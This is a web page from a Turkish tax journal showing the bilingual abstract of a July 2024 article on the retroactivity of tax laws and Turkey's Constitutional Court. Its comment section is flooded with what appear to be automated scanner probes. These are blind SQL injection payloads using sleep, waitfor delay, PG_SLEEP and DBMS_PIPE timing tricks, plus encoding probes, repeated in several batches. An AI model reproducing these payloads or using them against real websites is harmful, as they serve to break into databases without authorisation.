TARİH ARALIĞI

Başlangıç Tarihi
Seç
Bitiş Tarihi
Seç

ARANACAK KRİTER

Kriter Seçin
Makale Başlığında

ARANACAK KELİME

Örnek “vergi mevzuatı”

VERGİ KANUNLARININ GERİYE YÜRÜ(TÜL)MESİ VE ANAYASA MAHKEMESİ’NİN YAKLAŞIMI

Temmuz 2024 Sayı 430

ÖZET

Yasalar, kural olarak yürürlüğe girdikleri tarihten sonra hüküm ifade ederler. Yasaların yürürlük tarihinden önceki işlem ve eylemlere uygulanması geriye yürüme olarak adlandırılır. Geriye yürüme durumunun hukuk devleti, hukuk güvenliği, kanunilik, belirlilik gibi anayasada yer alan ve evrensel olarak kabul edilen kimi ilkelerle çeliştiği veya duraksamalara yol açtığı muhakkaktır. Anayasamızda vergilerin geriye yürümeyeceğine ilişkin bir açık hüküm bulunmadığından, sık olmasa da kanun koyucunun bu yönde yasal düzenlemeler yaptığı görülmektedir. Önüne gelen bu tür düzenlemeleri yargısal denetime tabi tutan Anayasa Mahkemesi’nin geriye yürümenin olup olmadığının ölçütü olarak kabul edilen vergiyi doğuran olayı; vergilendirme dönemi, beyanname verme, ödeme hatta olağanüstü hallerde bunu kamu yararına bağladığı, konjonktürü de dikkate alarak kimi kararlar verdiği görülmekte ve eleştirilmektedir. Bu konuda Anayasa Mahkemesi’nin kendi kararları arasındaki gerekçe farklılığının giderilmesi için Yargıtay veya Danıştay’da olduğu gibi belki bir İçtihadı Birleştirme Kararı alması gerektiği söylenebilir. Bazı zorunlu sebeplerle Anayasa’ya vergi kanunlarının geriye yürütülemeyeceğine yönelik bir yasaklama getirilmeyecekse, vergi kanunlarını hangi şart ve koşularda geriye yürütülebileceğine ilişkin temel ilkelerin ve çerçevenin Anayasa’da açıkça düzenlenmesi faydalı olacaktır.

Anahtar Kelimeler: Hukuk devleti, Hukuk güvenliği, Geriye yürümezlik, Gerçek geriye yürüme, Gerçek olmayan geriye yürüme, Belirlilik, Öngörülebilirlik

Jel Sınıflandırması: K34, K10

RETROACTIVTY OF TAX LAWS AND THE APPROACH OF THE CONSTITUTIONAL COURT

ABSTRACT

As a rule, laws take effect after the date they come into force. Applying laws to transactions and actions before the effective date is called retroactivity. Retroactivity certainly contradicts or causes hesitation with some universally accepted principles included in the Constitution, such as the rule of law, legal security, legality, and certainty. Since there is no express provision in our Constitution stating that taxes will not be retroactive, it is seen that the legislature makes legal regulations in this direction, although it is rare. The Constitutional Court, which subjected such regulations to judicial review, considered the event that gave rise to the tax, which was accepted as the criterion of whether there was retroactivity. It is seen and criticized that the constitutional court attributes this to the public interest during the taxation period, declaration, payment, and even in cases of emergency, and he makes some decisions by considering the conjuncture. On this issue, the Constitutional Court should take a Unification of Jurisprudence Decision, as in the Supreme Court of Appeals or the Council of State, to eliminate the difference in justification between its decisions. If a prohibition stating that tax laws cannot be applied retroactively were not included in the Constitution due to some compelling reasons, it would be beneficial to regulate the basic principles and framework in the Constitution regarding the conditions and conditions under which tax laws can be applied retroactively.

Keywords: Rule of law, Legal security, Non-retroactivity, Real retroactivity, Unreal retroactivity, Certainty, Predictability

Jel Classification: K34, K10

Devamını okumak ve yorum yapmak için giriş yapmalısınız!

YORUMLAR

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    8vLI7aJ6

  • 555

    -1 OR 2+814-814-1=0+0+0+1 --

  • 555

    -1 OR 2+992-992-1=0+0+0+1

  • 555

    -1' OR 2+915-915-1=0+0+0+1 --

  • 555

    -1' OR 2+799-799-1=0+0+0+1 or 'XUmYXKtI'='

  • 555

    -1" OR 2+243-243-1=0+0+0+1 --

  • 555

    if(now()=sysdate(),sleep(15),0)

  • 555

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 555

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 555

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 555

    -1; waitfor delay '0:0:15' --

  • 555

    -1); waitfor delay '0:0:15' --

  • 555

    -1)); waitfor delay '0:0:15' --

  • 555

    1 waitfor delay '0:0:15' --

  • 555

    CBJ7Lfv1'; waitfor delay '0:0:15' --

  • 555

    0HWLQoLc'); waitfor delay '0:0:15' --

  • 555

    loSZgzi5')); waitfor delay '0:0:15' --

  • 555

    -5 OR 909=(SELECT 909 FROM PG_SLEEP(15))--

  • 555

    -5) OR 332=(SELECT 332 FROM PG_SLEEP(15))--

  • 555

    -1)) OR 415=(SELECT 415 FROM PG_SLEEP(15))--

  • 555

    OgizXQ5Z' OR 605=(SELECT 605 FROM PG_SLEEP(15))--

  • 555

    pDUUlQKg') OR 683=(SELECT 683 FROM PG_SLEEP(15))--

  • 555

    L7yiWRZK')) OR 696=(SELECT 696 FROM PG_SLEEP(15))--

  • 555

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • 555

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 555

    1'"

  • 555

    1����%2527%2522

  • 555

    @@cs8Yf

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • s9IaFFi7

    1

  • -1 OR 2+56-56-1=0+0+0+1 --

    1

  • -1 OR 2+443-443-1=0+0+0+1

    1

  • -1' OR 2+911-911-1=0+0+0+1 --

    1

  • -1' OR 2+740-740-1=0+0+0+1 or '64uFsQx8'='

    1

  • -1" OR 2+172-172-1=0+0+0+1 --

    1

  • if(now()=sysdate(),sleep(15),0)

    1

  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    1

  • 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1

  • (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    1

  • -1; waitfor delay '0:0:15' --

    1

  • -1); waitfor delay '0:0:15' --

    1

  • -1)); waitfor delay '0:0:15' --

    1

  • 1 waitfor delay '0:0:15' --

    1

  • lotTHurR'; waitfor delay '0:0:15' --

    1

  • mMtccyLE'); waitfor delay '0:0:15' --

    1

  • FWurg1JR')); waitfor delay '0:0:15' --

    1

  • -5 OR 725=(SELECT 725 FROM PG_SLEEP(15))--

    1

  • -5) OR 439=(SELECT 439 FROM PG_SLEEP(15))--

    1

  • -1)) OR 587=(SELECT 587 FROM PG_SLEEP(15))--

    1

  • WfJDtVQf' OR 565=(SELECT 565 FROM PG_SLEEP(15))--

    1

  • wnRogPic') OR 233=(SELECT 233 FROM PG_SLEEP(15))--

    1

  • 41YPXMx2')) OR 409=(SELECT 409 FROM PG_SLEEP(15))--

    1

  • 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    1

  • 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    1

  • 1'"

    1

  • 1����%2527%2522

    1

  • @@EYPtd

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    xljGFl5I

  • 555

    -1 OR 2+658-658-1=0+0+0+1 --

  • 555

    -1 OR 2+647-647-1=0+0+0+1

  • 555

    -1' OR 2+203-203-1=0+0+0+1 --

  • 555

    -1' OR 2+233-233-1=0+0+0+1 or 'y00ohNos'='

  • 555

    -1" OR 2+813-813-1=0+0+0+1 --

  • 555

    if(now()=sysdate(),sleep(15),0)

  • 555

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 555

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 555

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 555

    -1; waitfor delay '0:0:15' --

  • 555

    -1); waitfor delay '0:0:15' --

  • 555

    -1)); waitfor delay '0:0:15' --

  • 555

    1 waitfor delay '0:0:15' --

  • 555

    aurbG9F1'; waitfor delay '0:0:15' --

  • 555

    RDpLnfjN'); waitfor delay '0:0:15' --

  • 555

    1ZLmhnvo')); waitfor delay '0:0:15' --

  • 555

    -5 OR 310=(SELECT 310 FROM PG_SLEEP(15))--

  • 555

    -5) OR 891=(SELECT 891 FROM PG_SLEEP(15))--

  • 555

    -1)) OR 771=(SELECT 771 FROM PG_SLEEP(15))--

  • 555

    NcjgA9xq' OR 904=(SELECT 904 FROM PG_SLEEP(15))--

  • 555

    Y05PjpoH') OR 902=(SELECT 902 FROM PG_SLEEP(15))--

  • 555

    4oVKAfR7')) OR 343=(SELECT 343 FROM PG_SLEEP(15))--

  • 555

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • 555

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 555

    1'"

  • 555

    1����%2527%2522

  • 555

    @@e5xdl

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 555

    1

  • 2JDMuEH7

    1

  • -1 OR 2+466-466-1=0+0+0+1 --

    1

  • -1 OR 2+62-62-1=0+0+0+1

    1

  • -1' OR 2+976-976-1=0+0+0+1 --

    1

  • -1' OR 2+733-733-1=0+0+0+1 or 'WcIZwkrH'='

    1

  • -1" OR 2+894-894-1=0+0+0+1 --

    1

  • if(now()=sysdate(),sleep(15),0)

    1

  • 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    1

  • 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1

  • (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    1

  • -1; waitfor delay '0:0:15' --

    1

  • -1); waitfor delay '0:0:15' --

    1

  • -1)); waitfor delay '0:0:15' --

    1

  • 1 waitfor delay '0:0:15' --

    1

  • hpHGk16i'; waitfor delay '0:0:15' --

    1

  • Zd6coVUu'); waitfor delay '0:0:15' --

    1

  • 6UuTTLGw')); waitfor delay '0:0:15' --

    1

  • -5 OR 465=(SELECT 465 FROM PG_SLEEP(15))--

    1

  • -5) OR 869=(SELECT 869 FROM PG_SLEEP(15))--

    1

  • -1)) OR 800=(SELECT 800 FROM PG_SLEEP(15))--

    1

  • wEwJuX3E' OR 57=(SELECT 57 FROM PG_SLEEP(15))--

    1

  • GVPlo44X') OR 550=(SELECT 550 FROM PG_SLEEP(15))--

    1

  • BdBoP8BK')) OR 684=(SELECT 684 FROM PG_SLEEP(15))--

    1

  • 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

    1

  • 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    1

  • 1'"

    1

  • 1����%2527%2522

    1

  • @@tTuHd

    1

Daha Fazla